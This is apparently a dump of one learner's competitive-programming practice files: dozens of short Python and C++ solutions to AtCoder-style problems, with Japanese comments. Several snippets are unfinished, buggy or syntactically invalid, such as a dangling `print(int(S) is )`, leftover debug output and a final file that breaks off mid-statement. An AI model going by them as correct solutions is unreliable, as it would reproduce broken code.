ans = (N_10 - N_9 * 2 + N_8) % mod;
ans = (ans+mod)%mod; // 解説に記載があったので、入れてみたらWAがACになった、何故??
cout << ans << "\n";
return 0;
}
<file_sep>'''
pを3つずつ取り出して、リストに入れた後、ソートする
あらかじめ取り出していたp_iの数を利用してif文条件で
判定する
'''
N = input()
P = list(input().split())
count = 0
for i in range(len(P)-2) :
judge_list = list()
midle = int(P[i+1])
judge_list.extend([int(P[i]),int(P[i+1]),int(P[i+2])])
judge_list.sort()
if midle == judge_list[1]:
count+=1
print(count)<file_sep>import itertools
import sys
N = int(input())
A_list = list(map(int,input().split()))
B_list = list()
for i in A_list:
B_list.append(bin(i))
bin_0 = bin(A_list[0])
bin_2 = bin(A_list[2])
ans = bin(A_list[0]^A_list[2])
if ans in B_list:
print('Yes')
sys.exit()
else:
count = 0
for i in itertools.combinations(A_list,2):
count += 1
if count <= 30:
ans = bin(i[0]^i[1])
if ans in B_list:
print('Yes')
sys.exit()
else:
continue
else:
break
print('No')
<file_sep>
N = int(input())
ans = 0
for i in range(1,N+1):
# if (i % 3 is 0) or (i % 5 is 0): なぜこれがダメ?
if i % 3 != 0 and i % 5 != 0:
ans += i
print(ans)
<file_sep>W = list(input())
target = ['a','i','u','e','o']
ans = str()
for i in range(len(W)):
if W[i] not in target:
ans += W[i]
print(ans)
<file_sep>A,B = map(int,input().split())
card=[2,3,4,5,6,7,8,9,10,11,12,13,1]
if card.index(A) > card.index(B):
print('Alice')
elif card.index(A) == card.index(B):
print('Draw')
else:
print('Bob')<file_sep>A,B,X = map(int,input().split())
# d_Nの最大値を求める
d_N_max = X/B - (A/B)*1
# Nの最大値を求める
N = X/A - (B/A) # ココの誤差が悪さしているっぽい input: 10 7 1021
print('d_N_max:',int(d_N_max))
print('N:',N)
d_N = len(list(str(int(N)))) # 桁数を求める
# print('桁数:',d_N)
if d_N <= int(d_N_max):
if int(N) >= 1000000000:
print(1000000000)
else:
N_cost = A*int(N)+(B*d_N)
print('N_cost:',A*int(N)+(B*d_N))
if N_cost > X: # Nの価格がXを超える場合の補正
N -= int((N_cost - X)/A)+1
# print('N_cost:',A*int(N)+(B*d_N))
print(int(N))
else:
print('0')
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i <= (int)(n); i++)
int main() {
int A, B, C, X, count = 0;
cin >> A >> B >> C >> X;
rep(i, min(A, (X / 500))){
rep(j, min(B, ((X - (500*i)) / 100))){
if (C >= (X - ((500*i)+(100*j))) / 50) {
count++;
}
}
}
cout << count << endl;
return 0;
}
<file_sep>S = list(input())
T = list(input())
s_len = len(S)
t_len = len(T)
# Create array for DP which has over one element.
dp = [[0] * (t_len + 1) for i in range(s_len + 1)]
# Get the length of answer with DP
for i in range(s_len):
for j in range(t_len):
if S[i] == T[j]:
dp[i + 1][j + 1] = max(dp[i][j + 1] + 1, dp[i + 1][j])
else:
dp[i + 1][j + 1] = max(dp[i][j + 1], dp[i + 1][j])
# Output
ans = ''
i = s_len
j = t_len
while i > 0 and j > 0:
if S[i - 1] == T[j - 1]:
ans = S[i - 1] + ans
i -= 1
j -= 1
# print(ans)
continue
if dp[i - 1][j] >= dp[i][j - 1]:
i -= 1
else:
j -= 1
print(ans)
'''
【Tips】
Python の文字列の長さに対するmax/minを取る方法
>>> max('target1','target2',key = len)
key でlen関数を指定しない場合、Unicodeコードポイント
が大きい方が出力される
>>> max('abcde','efg')
'efg'
https://codom.hatenablog.com/entry/2017/04/20/000000
'''
<file_sep>N,D = map(int,input().split())
print(int(N/((D*2)+1))+1) if int(N % ((D*2)+1)) != 0 else print(int(N/((D*2)+1)))<file_sep>time_list = list(map(int,input().split()))
time_list.sort()
print(time_list[0]+time_list[1])<file_sep>K = int(input())
#奇数
odd = list(range(1,K+1,2))
#偶数
even = list(range(2,K+1,2))
print(len(odd)*len(even))<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int N, ans = 0;
ll now = -1000000001;
cin >> N;
vector<pair<int, int>> arm;
rep(i, N){
ll x, l;
cin >> x >> l;
// ソートしたいので、(右腕, 左腕)の形式で入力
arm.push_back(make_pair(x + l, x -l));
}
sort(arm.begin(), arm.end()); // 右腕を基準にソート
rep(i, N) {
if (arm[i].second >= now) {
++ans;
now = arm[i].first;
}
}
cout << ans << endl;
return 0;
}
<file_sep>N, K= map(int, input().split())
BB = N
RB = N-K
count = 0
for i in range(K-1):
print(i)
bunsi = 1
bunbo = 1
for j in range(N-K+1,-1):
bunsi = bunsi * j
print(bunsi)
for j in range(i):
bunbo = bunbo * i
print(bunbo)<file_sep>import itertools
import math
N = int(input())
point = list()
for i in range(N):
point.append(list(map(int,input().split())))
target = list(itertools.permutations(point))
distance = 0
# 全てのパターンを調べる
for i in range(len(target)):
# 距離を求める
for j in range(len(target[i])-1):
cul = (target[i][j][0] - target[i][j+1][0])**2 + (target[i][j][1] - target[i][j+1][1])**2
distance += math.sqrt(cul)
print(distance/len(target))<file_sep>N = int(input())
A = list(map(int,input().split()))
sum_A = sum(A)
B = list(map(int,input().split()))
for i in range(N):
#Bが大きい場合
if B[i]-A[i] >= 0:
B[i] = B[i]-A[i]
A[i] = 0
if B[i]-A[i+1]>=0:
A[i+1] = 0
B[i] -=A[i+1]
else:
A[i+1] -= B[i]
#Aが大きい場合
else:
A[i] -= B[i]
print(sum_A - sum(A))
<file_sep>import math
def cul_sum(count,K):
ans = 0
for i in range(K+1):
ans += i
print(ans)
return ans
N,K = map(int,input().split())
A = list(map(int,input().split()))
count_ans = 0
for i in range(len(A)):
count = 0
for j in range(i+1,len(A)):
if A[i] > A[j]:
print(A[i],A[j])
count+=1
if count != 0:
count_ans = cul_sum(count,K)
print(count_ans%(10**9+7))<file_sep>#include <bits/stdc++.h>
using namespace std;
int main() {
int x_1, x_2, y_1, y_2, a, b;
cin >> x_1 >> y_1 >> x_2 >> y_2;
a = x_2 - x_1;
b = y_2 - y_1;
cout << x_2 - b << " " << y_2 + a << " " << x_1 - b << " " << y_1 + a << " " << endl;
return 0;
}
<file_sep>r,D,x = map(int,input().split())
for i in range(10):
x = r*x -D
print(x)<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N, min = 1001, max = -1, a;
cin >> N;
rep(i, N) {
cin >> a;
if (a < min) {
min = a;
}
if (a > max) {
max = a;
}
}
cout << max - min << endl;
return 0;
}
<file_sep>A,K = map(int,input().split())
count = 0
increase = 0
if K == 0:
print(2000000000000 -A)
else:
while True:
count+=1
A += 1+K*A
if A >= 2000000000000:
break
print(count)<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
vector<int> to[100005];
int dp[100005], dag[100005];
int main() {
long N, M;
cin >> N >> M;
rep(i, 100005) {
dp[i] = 0; // 距離
dag[i] = 0; // 入次数
}
rep(i, M) {
int x, y;
cin >> x >> y;
x--, y--;
to[x].push_back(y);
dag[y]++;
}
queue<int> que;
rep(i,N) {
if (dag[i] == 0) {
que.push(i);
}
}
while(!que.empty()) {
int v = que.front(); que.pop();
for (int nv : to[v]) {
dag[nv]--;
if (dag[nv] == 0) {
que.push(nv);
dp[nv] = max(dp[nv], dp[v] + 1);
}
}
}
int res = 0;
rep(i, N) {
res = max(res, dp[i]);
}
cout << res << endl;
return 0;
}
<file_sep>T = list(input())
print('YES') if T[-1] == 'T' else print('NO')<file_sep>N,T = map(int,input().split())
t = list(map(int,input().split()))
time = 0 # お湯が出てる累計時間、一回目
for i in range(N-1):
# print('ボタンを押す時間:',t[i])
if abs(t[i+1]-t[i]) > T:
time += T
else:
time += abs(t[i+1]-t[i])
# print('累計:',time)
print(time+T)
'''
t_ = list()
time = 0
ans_time = 0
for i in range(len(t)):
if time + T > t[i]:
t_.append(t[i])
continue
elif time + T == t[i]:
time = t[i]
t_.append(t[i])
continue
else:
time = t[i]
t_.append(-1)
t_.append(t[i])
continue
t_.append(-1)
target = list()
for i in range(len(t_)):
if t_[i] != -1:
target.append(t_[i])
else:
ans_time += abs(target[-1]-target[0])+T
target = list()
print(ans_time)
'''<file_sep>A,D = map(int,input().split())
more = min(A,D) +1
same = max(A,D)
print(more*same)<file_sep>x,a,b= map(int,input().split())
if abs(x-a) < abs(x-b):
print('A')
else:
print('B')<file_sep>c = list()
c.append(list(input()))
c.append(list(input()))
c.append(list(input()))
print(c[0][0]+c[1][1]+c[2][2])<file_sep>N = int(input())
ABC_list = [111,222,333,444,555,666,777,888,999]
gap = dict()
for i in ABC_list:
if i - N >= 0:
gap[i] = abs(i-N)
print(min(gap))<file_sep>N = int(input())
A = input()
for i in range(1,N+1):
#任意の要素のindexを標準出力
print(int(A.index(str(i))/2)+1, end=' ')<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
long long GCD(long long a, long long b) {
if (a % b == 0) {
return b;
} else {
return GCD(b, a%b);
}
}
template<class T> inline bool chmax(T& a, T b) {
if (a < b) {
a = b;
return 1;
}
return 0;
}
int main() {
int N;
cin >> N;
vector<long long> A(N);
rep(i, N){
cin >> A[i];
}
vector<long long> left(N+1, 0), right(N+1, 0);
for (int i = 0; i < N; ++i) {
left[i+1] = GCD(left[i], A[i]);
}
for (int i = N-1; i >= 0; --i) {
right[i] = GCD(right[i+1], A[i]);
}
long long ans = 0;
rep(i, N) {
long long l = left[i];
long long r = right[i+1];
long long g = GCD(l, r);
cout << g << ": gcd" << endl;
ans = max(ans, g);
cout << i << " 終了" << endl;
}
cout << ans << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int m, ans;
cin >> m;
if (m < 100) {
cout << "00" << endl;
} else if (100 <= m and m <= 5000) {
ans = m / 1000.0 * 10;
if (ans < 10) {
cout << "0" << ans << endl;
} else {
cout << ans << endl;
}
} else if (6000 <= m and m <= 30000) {
cout << m / 1000 + 50 << endl;
} else if (35000 <= m and m <= 70000) {
cout << (m / 1000 - 30) / 5 + 80 << endl;
} else if (70000 < m) {
cout << 89 << endl;
}
return 0;
}
<file_sep># https://atcoder.jp/contests/dp/submissions/17657169
N = int(input())
info = list()
for i in range(N):
row = list(map(int, input().split()))
info.append(row)
dp = [[0] * 3 for i in range(N + 1)]
dp[0] = [0, 0, 0]
for i in range(1, N + 1):
dp[i][0] = max(info[i - 1][0] + dp[i - 1][1], info[i - 1][0] + dp[i - 1][2])
dp[i][1] = max(info[i - 1][1] + dp[i - 1][0], info[i - 1][1] + dp[i - 1][2])
dp[i][2] = max(info[i - 1][2] + dp[i - 1][0], info[i - 1][2] + dp[i - 1][1])
print(max(dp[N]))
<file_sep>
N = input()
Inp = set(list(input().replace(' ','')))
if len(Inp) == 4:
print('Four')
elif len(Inp) == 3:
print('Three')
<file_sep>A,B = map(int,input().split())
if A-2*B > 0:
print(A-2*B)
else:
print(0)<file_sep>import copy
def cul_money(a_list):
amount = 0
a_list.insert(0,0)
a_list.insert(len(a_list),0)
it = iter(a_list)
for x in it:
'''
a_listから2個ずつ取り出して絶対値の計算
をする
'''
# print(x,next(it))
amount += abs(x-next(it))
return amount
N = int(input())
A = list(map(int,input().split()))
for i in range(len(A)) :
a_list = copy.deepcopy(A) #値渡し
a_list.pop(i)
print(cul_money(a_list))
# print('a_list:',a_list)
# print('A:',A)
<file_sep>import sys
def check(c):
for j in range(len(c)-1, -1 , -1):
if c[j] == "R":
return j
N = int(input())
c = list(input())
c_set = set(c)
# 全てRは0
if len(c_set) == 1 and c_set == {'R'}:
print(0)
sys.exit()
cnt = 0
for i in range(N):
try:
first_W = c.index("W")
except ValueError:
print(cnt)
sys.exit()
last_R = check(c)
# print(i,':',first_W,', ',last_R)
if first_W < last_R:
c.pop(first_W)
c.pop(last_R-1)
cnt += 1
continue
print(cnt)
<file_sep>s = list(input())
for i in range(len(s)):
#偶数で小文字
if (i + 1) % 2 == 0 and s[i].islower():
print('No')
exit()
#奇数で大文字
if (i + 1) % 2 != 0 and s[i].isupper():
print('No')
exit()
print('Yes')<file_sep>import itertools
N = int(input())
L = list(map(int,input().split()))
L.sort(reverse=True)
count = 0
target = list(itertools.combinations(L,3))
for i in target:
a = i[0]
b = i[1]
c = i[2]
if a < b+c and b < c+a and c < a+b :
count+=1
print(count)
# for i in range(len(L)-2):
# a = L[i]
# for j in range(i+1,len(L)-1):
# b = L[j]
# for k in range(j+1,len(L)):
# if a - b < L[k]:
# count += 1
# else:
# break
# print(count)
# for i in range(len(L)-2):
# for j in range(i+1,len(L)-1):
# for k in range(j+1,len(L)):
# a = L[i]
# b = L[j]
# c = L[k]
# if a < b+c and b < c+a and c < a+b :
# count += 1
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
long long gcd(long long a, long long b) {
// 再帰を利用
// if (a%b == 0) {
// return b;
// } else {
// return gcd(b, a%b);
// }
// while文を利用
long long b_;
while (b != 0) {
b_ = b;
b = a % b;
a = b_;
// cout << a << ":" << b << endl;
}
return a;
}
long long lcm(long long a, long long b) {
// cout << gcd(a, b) << endl;
return (a / gcd(a, b)) * b;
}
int main() {
int N;
cin >> N;
vector<long long> T(N);
rep(i, N) {
cin >> T.at(i);
}
long long ans = T[0];
for (int i = 1; i < N; ++i) {
ans = lcm(ans, T[i]);
}
cout << ans << endl;
return 0;
}
<file_sep>
A = int(input())
B = int(input())
C = int(input())
D = int(input())
E = int(input())
target = [A,B,C,D,E]
num_list = [1,2,3,4,5,6,7,8,9,0]
ans_sur = num_list.index(0)
ans = int()
#num_listのindexが最小の値をリストの最後に
#したいのでその判定
for i in target:
number = num_list.index(i%10)
if ans_sur >= number:
ans_sur = number
ans = i
target.pop(target.index(ans))
target00 = list()
#上のfor文でlistからpopされなかった要素について
#1の位を00秒に合わせる
for i in target:
if i % 10 != 0:
#00秒に合わせる
target00.append(i+(10-i%10))
else:
#1桁台が0の時は何もせずにappend
target00.append(i)
target00.append(ans)
print(sum(target00))<file_sep>N, X = map(int, input().split())
S = list(input())
for i in range(len(S)):
if S[i] == 'o':
X += 1
else:
X = max(0, X - 1)
print(X)
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string S;
cin >> S;
for(int i = S.size() - 1; i > 0; --i) {
if (i % 2 != 0) {
// 奇数
continue;
} else {
// 偶数
string s_l, s_r;
s_l = S.substr(0, i / 2);
s_r = S.substr(i / 2, (i - i / 2));
// cout << s_l << ":" << s_r << endl;
if (s_l == s_r) {
cout << i << endl;
return 0;
}
}
}
cout << 0 << endl;
return 0;
}
<file_sep>AB,BC,CA = map(int,input().split())
print(int(AB*BC/2))<file_sep># https://leetcode.com/problems/pascals-triangle/
import sys
N = int(input())
ans = list()
if N == 1:
ans.append([1])
print(ans)
sys.exit()
if N == 2:
ans.append([1])
ans.append([1, 1])
print(ans)
sys.exit()
ans.append([1])
ans.append([1, 1])
for i in range(2, N):
print('i:', i)
target = list()
target.append(1)
j = 0
while j < i - 1:
print('j: ', j)
target.append(ans[i - 1][j] + ans[i - 1][j + 1])
j += 1
target.append(1)
ans.append(target)
print(ans)
<file_sep>A = int(input())
print(int(A/2)**2)<file_sep>import fractions
A,B = map(int,input().split())
print((A*B) // fractions.gcd(A,B))<file_sep>A,B,C,K = map(int,input().split())
S,T = map(int,input().split())
if S+T >= K:
# 団体料金設定
A -= C
B -= C
price = S*A + T*B
print(price)<file_sep>S = list(input())
pre_list = []
tar_list = [S[0]]
count = 1
i = 1
try:
while i < len(S):
pre_list = tar_list #一つ前のリストを引き継ぐ
tar_list = []
tar_list.append(S[i])
i += 1
#一緒だったら続ける
while tar_list == pre_list:
tar_list.append(S[i])
i += 1
#異なった時に止めてカウントをアップ
# print(pre_list,':',tar_list)
count += 1
except IndexError:
pass
print(count)<file_sep>import datetime
S = str(input())
date_format = datetime.datetime.strptime(S,'%Y/%m/%d')
print('2018/'+str(date_format.strftime("%m/%d")))<file_sep>def f(n):
if n % 2 == 0:
return int(n/2)
else:
return int(3*n+1)
a_list = [int(input())]
count = 0
while True:
target = f(a_list[-1])
if target in a_list:
a_list.append(target)
print(len(a_list))
break
else:
a_list.append(target)<file_sep>A,B,K = map(int,input().split())
ans_list = list()
for i in range(1,min(A,B)+1):
if A%(i) == 0 and B%(i) == 0:
ans_list.append(i)
print(ans_list[-1*K])<file_sep>l = list(map(int,input().split()))
l_set = set(l)
side_sum = 0
for i in l_set:
side_sum += i * 2
for i in range(len(l)):
side_sum -= l[i]
print(abs(side_sum-0))<file_sep>// https://atcoder.jp/contests/m-solutions2020
#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int X;
cin >> X;
int target[] = {400, 600, 800, 1000, 1200, 1400, 1600, 1800};
int count = 8;
for (int i = 0; i < 7; ++i){
if (X >= target[i] and X < target[i+1]) {
cout << count << endl;
return 0;
} else if (X >= 1800 and X < 2000) { // ここのことを忘れてた
cout << 1 << endl;
return 0;
}
--count;
}
return 0;
}
<file_sep>a, b, c = map(int, input().split())
if a == b:
print("Takahashi") if c == 1 else print("Aoki")
else:
print("Takahashi") if a > b else print("Aoki")<file_sep>x = int(input())
if x < 1200:
print('ABC')
else:
print('ARC')<file_sep>A,B,C = map(int,input().split())
if A == B:
print(C)
elif A == C:
print(B)
else:
print(A)<file_sep>import string
X,Y = map(str,input().split())
alphabet = list(string.ascii_uppercase)
if alphabet.index(X) > alphabet.index(Y):
print('>')
elif alphabet.index(X) == alphabet.index(Y):
print('=')
else:
print('<')
<file_sep>target = list(map(str,input().split()))
ans = str()
for i in range(len(target)):
ans += list(target[i])[0]
print(ans)<file_sep>S = list(map(str,input()))
print(int(S) is )<file_sep>N = int(input())
P = list(map(int,input().split()))
ANS = list(range(1,N+1))
count = 0
dif = list()
for i in range(N):
if ANS[i] != P[i]:
count += 1
dif.append(P[i])
if count == 0 :
print('YES')
elif count == 2 :
print('YES')
else:
print('NO')<file_sep>name = str(input())
print(name+'pp')<file_sep>import string
target = list(string.ascii_lowercase)
C = str(input())
print(target[target.index(C)+1])<file_sep>N = list(input())
N_set = set(N)
print('SAME') if len(N_set) == 1 else print('DIFFERENT') <file_sep>N,K = map(int,input().split())
H = list(map(int,input().split()))
H.sort(reverse=True)
del H[:K]
print(sum(H))<file_sep>Inp1 = list(input().split())
Inp1.extend(input().replace(' ',''))
Inp1.extend(input().replace(' ',''))
Inp_dict = {'1':0,'2':0,'3':0,'4':0}
for i in Inp1:
Inp_dict[i] +=1
ans = list()
for k in Inp_dict.keys():
if Inp_dict[k] == 2 : ans.extend(k)
if len(ans) == 2: print('YES')
else: print('NO') <file_sep>num_list = list(map(int,input().split()))
size = list()
size.append(num_list[0]*num_list[1])
size.append(num_list[2]*num_list[3])
print(max(size))<file_sep>M,D = map(int,input().split())
count = 0
for m in range(2,M+1):
for d in range(22,D+1):
d_list = list(str(d))
if int(d_list[1])*int(d_list[0]) == int(m) and int(d_list[1])>=2 and int(d_list[0])>=2:
count +=1
print(count)<file_sep>from collections import deque
import sys
N,K = map(int,input().split())
A = list(map(int,input().split()))
# ループを見るける
target = deque()
target_s = set()
target.append(1)
target_n = A[0]
for i in range(K):
before = len(target_s)
target_s.add(target_n)
if len(target_s) != before:
target.append(target_n)
# target_s.add(target_n)
target_n = A[target_n-1]
else:
if target[-1] != 1:
target.append(target_n)
t = target.pop()
t = target.index(t)
if t != 0:
K -= len(target)
K = K%(len(target) - t)
print(target[K+t])
sys.exit()
print(target[-1])
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string S, S_t;
int N,l,r;
cin >> S;
cin >> N;
rep(i, N) {
cin >> l >> r;
S_t = S;
for(int j = 0; j < (r - l + 1); ++j) {
S[l - 1 + j] = S_t[r - 1 - j];
}
}
cout << S << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
// 入力
ll N, ans = 0;
cin >> N;
vector<ll> L(N);
rep(i, N) {
cin >> L[i];
}
// 順位キューの準備(小さい数から出てくるように設定)
// priority queue は O(n logn)でヒープ を作ることができる
priority_queue<int, vector<int>, greater<int>> que;
rep(i, N) {
que.push(L[i]);
}
while(que.size() > 1) {
int l1, l2;
l1 = que.top(); que.pop();
l2 = que.top(); que.pop();
ans += l1 + l2;
que.push(l1 + l2);
}
cout << ans << endl;
return 0;
}
<file_sep>A,B = map(int,input().split())
if 1 <= A and A <= 9 and 1 <= B and B <= 9:
print(A*B)
else:
print('-1')<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N, M, P, X;
long long ans=0, gap;
cin >> N;
vector<long long> T(N), ANSER(N);
rep(i, N){
cin >> T.at(i);
ans += T[i];
}
cin >> M;
rep(i, M) {
cin >> P >> X;
gap = T[P-1] - X;
ANSER.at(i) = ans - gap;
}
rep(i, M) {
cout << ANSER[i] << endl;
}
return 0;
}
<file_sep>from operator import itemgetter
def cul(menu):
good = 0 # 美味しさ
time = 0 # 時間
for i in range(len(menu)):
if time >= T-0.5:
break
else:
good += menu[i][1]
time += menu[i][0]
return good
N,T = map(int,input().split())
menu = list()
for i in range(N):
menu.append(list(map(int,input().split())))
# 時間が少ない順に計算
menu.sort() # 時間が少ない順にソート
good_1 = cul(menu)
# 満足度が多い順に計算
menu.sort(key=itemgetter(1),reverse=True)
good_2 = cul(menu)
print(max(good_1,good_2))
# 満足度と時間を考えてソート
# menu_1 = dict()
# for i in range(len(menu)):
# if abs(menu[i][1]-menu[i][0]) not in menu_1:
# menu_1[abs(menu[i][1]-menu[i][0])] = menu[i]
# print(menu_1)<file_sep># https://atcoder.jp/contests/joi2008yo/tasks/joi2008yo_a
otsuri = 1000 - int(input())
ans = 0 # お釣りの枚数
coin_list = [500,100,50,10,5,1]
for coin in coin_list:
if otsuri / coin >= 1:
# print(coin,':',int(otsuri / coin))
ans += int(otsuri / coin)
otsuri -= coin * int(otsuri / coin)
print(ans)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 1; i <= (int)(n); i++)
int main() {
ll N, B, C, cnt=0;
cin >> N;
for(int A = 1; A <= N; ++A) {
// cout << A << " : ";
if (N % A == 0) {
B = (N / A) - 1;
// cout << B << endl;
cnt += B;
} else {
B = N / A;
// cout << B << endl;
cnt += B;
}
}
cout << cnt <<"\n";
return 0;
}
<file_sep>W,H = map(int,input().split())
if W % 4 == 0 and H % 3 == 0:
if W % 16 == 0 and H % 9 == 0:
print('16:9')
else:
print('4:3')
<file_sep>C_1 = list(input())
C_2 = list(input())
C_1.reverse()
print('YES') if C_1==C_2 else print('NO')<file_sep>'''
参照:./img/Bcontest129_c.png
'''
N,M = map(int,input().split())
step_list = list(range(N+1))
denger_list = list()
for i in range(M):
#連続数値の場合、答えは0と表示するとTLEを
#回避できるかもしれない
denger_list.append(int(input()))
ppre_step = None
pre_step = None
now_step = 0
for i in range(N+1):
if i == 0:
continue
if i == 1:
if i not in denger_list:
ppre_step,pre_step,now_step = pre_step,0,1
if i in denger_list:
ppre_step,pre_step,now_step = pre_step ,0,0
if i == 2:
if i not in denger_list:
if 1 in denger_list:
ppre_step,pre_step,now_step = pre_step,now_step,1
else:
ppre_step,pre_step,now_step = pre_step,now_step,2
if i in denger_list:
ppre_step,pre_step,now_step = pre_step ,now_step,0
else:
#そのステップが危険でない場合、そこのステップ
#への移動は、2つ前までの移動方法数の和となる
if i not in denger_list:
ppre_step = pre_step
pre_step = now_step
now_step = ppre_step + pre_step
#そのステップが危険な場合、そこの値は
#移動不可能なので0通りとなる
elif i in denger_list:
ppre_step = pre_step
pre_step = now_step
now_step = 0
# print('========')
# print('i:',i)
# print('ppre_step:',ppre_step)
# print('pre_step:',pre_step)
# print('now_step:',now_step)
print(now_step%1000000007)<file_sep>A = list(map(int,input().split()))
A.sort()
ans = 0
for i in range(len(A)-1):
ans += abs(A[i]-A[i+1])
print(ans)
<file_sep>N= int(input())
d = list()
for i in range(N):
d.append(int(input()))
d_set = set(d)
d_list = list(d_set)
d_list.sort()
print(len(d_list))
<file_sep>N,K = map(int,input().split())
A = list(map(int,input().split()))
ans = list()
for i in range(N):
for j in range(i+1,N):
ans.append(A[i]*A[j])
ans.sort()
print(ans[K-1])<file_sep>S,T = map(int,input().split())
print(abs(S-T)+1)<file_sep>X,A = map(int,input().split())
if X < A:
print('0')
else:
print('10')<file_sep>import sys
a=int(input())
b=int(input())
c=int(input())
d=int(input())
e=int(input())
k=int(input())
gap = [abs(a-e),abs(b-e),abs(c-e),abs(d-e)]
for i in range(len(gap)):
if gap[i] > k:
print(':(')
sys.exit()
print('Yay!')
<file_sep>import sys
S = list(input())
S = [S[0]+S[1],S[2]+S[3]]
month = ['01','02','03','04','05','06','07','08','09','10','11','12']
# 月表示、年表示についてのステータス
# [前表示、後ろ表示]
mon = [0,0]
yer = [0,0]
if S[0] in month:
mon[0] = 1
if S[1] in month:
mon[1] = 1
if mon[0] == 1 and mon[1] == 1:
print('AMBIGUOUS')
sys.exit()
if mon[0] == 1:
print('MMYY')
sys.exit()
if mon[1] == 1:
print('YYMM')
sys.exit()
else:
print('NA')
sys.exit()
<file_sep>from sys import stdin
class C:
def __init__(self,A,B,C,D):
self.A = int(A)
self.B = int(B)
self.C = int(C)
self.D = int(D)
self.count = 0
def main(self):
for i in range(self.A,self.B+1):
if i % self.C != 0:
if i % self.D != 0:
self.count +=1
print(self.count)
Inp = stdin.readline()
Inp = Inp.replace('\n','')
Inp = Inp.split()
do = C(Inp[0],Inp[1],Inp[2],Inp[3])
do.main()
<file_sep>#2人のスタート位置の差が奇数の時はAliceの勝ち
#偶数の時はBorysの勝ち
#2人のスタート位置の差が0の時はBorysの勝ち
N, A, B= map(int, input().split())
if (abs(A-B)-1) % 2 == 1: print('Alice')
else: print('Borys')
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long long X, K, D;
cin >> X >> K >> D;
if (abs(X) / D != 0) {
if ((abs(X) / D) <= K) {
K = K - (abs(X) / D); // 一番絶対値に近いところにまず行く
X = abs(X) - D * (abs(X) / D);
} else {
X = abs(abs(X) - D * K);
K = 0;
}
}
// cout << X << ":" << K << ":" << D << endl;
if (K % 2 == 0){
cout << abs(X) << endl;
return 0;
} else {
cout << abs(X - D) << endl;
return 0;
}
// ボツになった方法
// if (D == abs(X)) {
// if (K % 2 == 0){
// // Kが偶数
// cout << abs(X) << endl;
// return 0;
// } else {
// // Kが奇数
// cout << 0 << endl;
// return 0;
// }
// } else if (D < abs(X)) {
// if (K % 2 == 0){
// // Kが偶数
// cout << abs(abs(X) - D*2) << endl;
// return 0;
// } else {
// // Kが奇数
// cout << abs(abs(X) - D) << endl;
// return 0;
// }
// } else if (D > abs(X) and D < abs(X)*2) {
// if (K % 2 == 0){
// // Kが偶数
// cout << abs(X) << endl;
// return 0;
// } else {
// // Kが奇数
// cout << abs(abs(X) - abs(D)) << endl;
// return 0;
// }
// } else if (D == abs(X)*2){
// cout << abs(X) << endl;
// return 0;
// }else {
// // D が abs(X)の2倍以上の時
// if (K % 2 == 0){
// // Kが偶数
// cout << abs(X) << endl;
// return 0;
// } else {
// // Kが奇数
// cout << D << endl;
// return 0;
// }
// }
return 0;
}
<file_sep>#投げられた文字がACGT文字かどうかを判別
def judge_ACGT(target):
ACGT = ['A','C','G','T']
for A in ACGT:
if str(target) == A:
return True
return False
Inp = list(input())
max_count = 0
#リストのすべての文字で検証する
for j in range(len(Inp)):
count = 0
match = 1
for i in range(j,len(Inp)):
if judge_ACGT(Inp[i]):
count += 1
if count >= max_count :
max_count = count
else:
match = 0
break
if match == 0:
continue
print(max_count)<file_sep>def cul(target,status):
print(target)
ans_list = list()
max_num = max(target.count('R'),target.count('L'))
need_count = max_num-1 #全てがRLの真ん中に集まるのに必要な回数
#need_countが奇数の場合、最後は反転する
print(target.count('R'))
print(target.count('L'))
print(target)
'''
最後に答えとして出力するリストを作成する必要がある
target.count('RとL')と0を使ったリスト形成
'''
return ans_list
S = list(input())
target = list()
ans = list()
status =0
key = S[0]
for i in S:
if status == 0:
if key == i:
target.append(i)
else:
status = 1
key = i
target.append(i)
elif status == 1:
if key == i:
target.append(i)
else:
#targetを計算する関数にぶん投げる
cul(target,status)
status = 0
key = i
target = list()
target.append(i)<file_sep>N = int(input())
S = list(map(str,input()))
target = len(set(S))
count = list()
for i in range(1,N):
X = set(S[:i])
Y = set(S[i:])
# 対称差集合
symmetric_difference = X ^ Y
count.append(target - len(symmetric_difference))
# print('X:',X,'Y:',Y)
# print(len(symmetric_difference))
print(max(count))<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 1; i <= (int)(n); i++)
int main() {
ll N, inf = 10000007777;
cin >> N;
vector<ll> h(N+1), DP(N+1, inf);
rep(i, N) {
cin >> h.at(i);
}
DP[1] = 0;
DP[2] = abs(h[2] - h[1]);
for(int i = 3; i <= N; ++i) {
DP[i] = min(DP[i-1] + abs(h[i]-h[i-1]), DP[i-2] + abs(h[i]-h[i-2]));
}
cout << DP[N] << "\n";
return 0;
}
<file_sep>W,H,x,y = map(int,input().split())
core = [W/2,H/2]
if x == core[0] and y == core[1]:
print(round((W*H)/2,3),' 1')
else:
